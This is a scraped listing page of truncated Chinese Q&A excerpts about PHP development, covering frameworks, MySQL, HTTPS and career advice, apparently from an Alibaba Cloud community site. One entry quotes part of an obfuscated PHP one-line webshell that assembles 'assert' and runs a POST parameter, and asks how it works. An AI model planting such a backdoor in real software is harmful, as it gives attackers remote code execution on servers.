thinkphp中的logic和service層是幹什麼用的?

我平時開發只用到了Model層,請問這兩個層是幹啥用的?我百度過相關內容,都是直接照著官方手冊抄了一遍,也沒具體說清楚,能否舉個例子說明一下?回複內容:說一下我個人的理解吧,傳統的MVC三層在面對系統越來越大,商務邏輯越來越複雜的情況下,開始顯得“不夠用”。不夠用怎麼辦,再抽象再分層唄。把商務邏輯處理部分抽象出來作為一層,這一層在M之上,C之下,名為 Logic 。把可以作為公用的服務抽象出來作為一層,這一層不與任何一層耦合,僅提供自身的服務,名為Service

為什麼大多數互連網公司自己寫 PHP 架構?

是公司自己寫,還是使用開源的架構。為什麼做這樣的選擇,是基於什麼考慮?本人看過很多的公司內部架構,說實話,真沒開源的寫的好,無論是文檔還是易用性。好多人的想法是,如果讓人知道公司開發的架構是用的開源架構,會被人鄙視-

php如何開發大型網站,團隊安排和人員分工?

回複內容:你說的大是多大。。有的“大”網站CMS套套也就過去了。。前端屍,後端屌,美工妹,UI射技師,產品汪,項目狗,DBA,營運濕,嫁狗師,測屍豬。系統mvc解藕,伺服器按功能模組分,資料庫拆表分庫,靜態資源CDN,cache伺服器,file伺服器,資料介面化,部署自動化。大型網站和PHP其實一毛錢關係都沒有的否則就不叫大型網站了如果是從零開始,大型一般不是一上來就大型的,先搞個架構(whatever是啥,能用就成),按架構實現功能(注意代碼的模組化),剛上來千萬別設計太細的架構,需求變更會讓

YII 架構的優點有哪些?

回複內容:YII 架構的優點有哪些? -

第一批做前端的大神們,現在都在做什麼崗位啊?

昨天跟我們老大聊天,無意中才知道,他是第一批做前端的,有點好奇,第一批做前端的,都是學什麼專業的,如何做前端的?現在都在從事什麼崗位?回複內容:不妨問問他哪一年開始寫前端代碼的?說說我知道的一個人。他是第一批js程式員,1995年就開始寫JavaScript了,在一家很小很小的公司裡辛辛苦苦幹了二十年技術。好不容易好不容易在2014年終於熬出頭了,出任總經理,升職加薪。結果上任不久,因為有人發現在2008年他給一個反同性婚姻法案捐助,爭議很大,還沒幹夠10天CEO,他就被迫辭職。。然後。。我也不

HTTPS協議中POST的資料是被加密的嗎?

回複內容:HTTP本身所有的資料都是不加密的。準確的說,HTTPS不是一種協議,而是HTTP和SSL兩種技術的組合。SSL是Secure Socket Layer,安全通訊端層,有時也成為TLS(Transport Layer Security),是介於傳輸層和應用程式層的一個拓展的層,可以透明的將應用程式層資料加密然後通過傳輸層送出去。因此,使用了SSL傳輸的HTTP報文,從HTTP

為什麼很多mysql課程不推薦用物理外鍵?

回複內容:因為mysql資料庫設計得不好,用資料庫的外鍵有問題。以及,近年來互連網的發展,弱化資料庫,可以容忍錯誤資料錯誤也成為潮流。犧牲正確性換取效率,成為潮流。DBA的水平越來也差也成為事實。別說mysql了,其他資料庫也都不用外鍵了。犧牲掉資料的正確性被認為是沒有任何問題的。哪怕銀行的系統也是一樣。至於業務上如何保證關鍵資料(錢)是對的?好幾個系統互相對賬唄。錯了,修複資料嘛。只要錯得不離譜就行。用外鍵也不能保證不出業務錯誤。很多時候外鍵的串聯更新或者刪除造成了效能災難。只能級聯禁止,這樣

關於深入學習PHP及伺服器的問題?

題主情況:本科應屆生,大三大四期間學了PHP及Web開發相關的資料庫,對C、Java以及Linux的瞭解還比較少,在實習與工作期間參與開發過幾個網站以及APP服務端介面開發。公司開發的架構主要是CI和Yii,資料庫方面是MySQL、Memcache和Mongo。目前的困惑:參與公司幾個項目的開發和維護後,感覺有些止步不前,想深入一些去學習Web開發、伺服器相關或其他語言。但感覺目前PHP掌握的東西還不多,所以打算去看官方的手冊瞭解PHP中比較底層的東西。linux的學習也在計劃之中。希望有經驗的

php 程式中各種if 判斷導致程式淩亂不堪,有沒有什麼好的解決方案?

由於來自需要方的壓力,需要在程式中加入各種if 判斷導致程式淩亂不堪,不知道有沒有一種科學的方式解決這一問題。回複內容:只答代碼技巧,不答模式架構,我覺得那沒有標準答案的,當然小技巧也要看具體使用的情境。Go ternaryif (A) $var = xxxelse $var = ooo↓$var = A ? xxx :

在網站開發方面,java和php各自的優劣勢是什嗎?

有朋友跟我說java可以跨平台,php快,但是太簡略了,能否說的詳細一點?回複內容:JAVA 的跨平台在單純的網頁開發中沒有任何用處,用在用戶端程式上倒是個不錯的特性,它自己宣稱的特性是 “編寫跨平台應用軟體的物件導向的程式設計語言”劣勢方面,JSP 太難處理 UI 了……每次編譯都想揍人優勢方面,架構齊備,效能較好(相對 PHP )。比如 SSH 基本人手必讀,初學者也能玩玩;JAVA 處理複雜事務時總能有合適的解決方案,橫向擴充負載平衡也好、與其他語言整合也好,都很成熟。PHP

用1年的時間下定決心學習 PHP 能設計一個豆瓣網出來嗎?

1、我會Photoshop+HTML+Javascript,並已學會CSS; 2、我有Python基礎及PHP基礎及資料庫mysql;3、我有2年的編程學習經驗,DW等工具都可以熟練使用;4、因為之前一直做前端設計,編程能力一般;5、不必考慮豆瓣強大的6000W資料,沒有一個強大的網站是一天能練成的,我只是說其網站功能。回複內容:只要是真心熱愛編程,而不只是當作職業,我覺得是可以表面模仿一個豆瓣的。豆瓣核心的推薦演算法,這個恐怕不是只會php就可以的,所以只能是表面模仿。我覺得如果在

求PHP快速自學路線?

本人畢業一年,想自學PHP做個安靜的程式猿,由於想儘快的學好去工作,能實習就行,求大神擬一個學習路線,盡量具體。比如:總體來說要學的內容是什嗎?在某個時候學什嗎?看什麼書,什麼視頻等等)?初級中級進階階段的任務都是什嗎?回複內容:1、前端開發:html5+css3、js、jq、ajax2、php開發基礎:php環境搭建、php編程、mysql、smarty模板引擎、php部落格系統開發3、php開發進階:php編程進階、mysql進階、thinkphp架構、redis4、yii架構、開源系統二次

PHP是不是世界上最好的語言?

回複內容:有病-世界主要語言人口(母語)中,排第一的是漢語為11.97億,第三的是英語為3.31億而維基百科中,漢語只有850K條目,英語卻有5000K條目你覺得漢語是最好的語言嗎?-我有藥這梗玩多了沒意思了吧?一個神經病釣出一群神經病。你跟PHP有仇嗎?沒有不共戴天之仇是不會這樣黑的,好不好還不是看自己麼,有啥好問的。是不是,你別學妹子說了跟你走了,你就別再討論了。

有人說程式員只會PHP還不夠,必須要會JAVA,PYTHON,C++中的一種,是這樣的嗎?

軟體設計回複內容:是的,遠遠不夠,諸如學曆不重要,語言是相通的,小公司有益於發展,等名言廣為流傳於IT圈子。這些話本身無關對錯,關鍵在於說這些話的人,只有獨孤求敗才有資格說無招勝有招,普通的小蝦米要是把這話當真,死的比誰都慘。說語言都是相通的人,本身就是精通數種語言的人,說學曆無用的,多半是985,211的人或者已經熬出來的人。說小公司利於發展的,他可能就是一線的公司功成身退下來的。沒有一定的人生經曆和積累,你沒有資格說這些話,你要做的,就是不斷積累,提高見識和閱曆。然後等你身兼百家之長,你會發

現在國內中小型的IT行業的公司,asp.net和php哪個應用得比較普遍?

我現在開始學web開發,學http://asp.net還是php更好一點?能以現在的行情來指導一下我嗎?先謝過各位大師~回複內容:同樣的使用者體驗 同樣的效果 我覺得用net真的是 膝蓋插了一箭。效率低開源少 不懂得還要google半天找源碼 低效率! 發布部署 流程複雜 流通性又不好。php就方便了 開發即部署 束縛小 易移植 成熟源碼多 架構多選擇多 快速開發number one. 我是一名net轉向php的programmer

php引擎中有沒有使用JIT技術?如果沒有,為什嗎?

回複內容:官方版PHP的虛擬機器,Zend Engine,沒有使用JIT編譯技術。至於為什麼…雖然可以找很多理由但根本來說純粹是偷懶吧。PHP7也在計劃加上JIT編譯器。已加:php.internals: Zend JIT Open Sourced有許多外部嘗試為PHP實現JIT編譯器,例如:基於LLVM的 http://llvm.org/devmtg/2008-08/Lopes_PHP-JIT-InTwoDays.pdf基於PyPy的HippyVM

PHP 中為什麼沒有類似 Java 的 interface 介面?

PHP 目前已經有了物件導向功能,但為何如此重要的類似於 Java 的介面功能沒有了呢?回複內容:PHP介面類interface的正確使用方法PHP: 對象介面what are you taking about?PHP中有介面,它是看到什麼新的東西就往自己的特性裡面裝,也不看適用不適用。最後搞得跟個靜態語言似的。個人認為介面的約束性太強,不適合動態語言。動態語言更適合一種“弱介面”的概念,即實現了某個方法就認為實現了某個介面。反正你動態語言方法調用相當於反射,幹什麼都是反射,那就用

你收集的IT圈的部落格都有哪些?

在你的收藏夾或者在GoogleReader中你都收藏或者訂閱了哪些牛人的部落格?回複內容:我自己先貼出我的Google Reader一鍵匯入:https://www.google.com/reader/bundle/user%2F02947478272723865001%2Fbundle%2Ftech CNXCT小組的部落格 http://www.cnxct.com Erlang非業餘研究 http://blog.yufeng.info

PHP+mysql的網站作品在面試的時候如何帶去?匯出資料庫?需要看的時候再匯入?

之前開發過一個PHP+XML的網站。 如果要帶去面試的話只要面試官有php+apache環境就好。

一個有意思的 PHP 一句話後門,怎麼破?

看到一個有意思的php一句話: @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/11/*-/*-*

總頁數: 5203 1 .... 4250 4251 4252 4253 4254 .... 5203 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.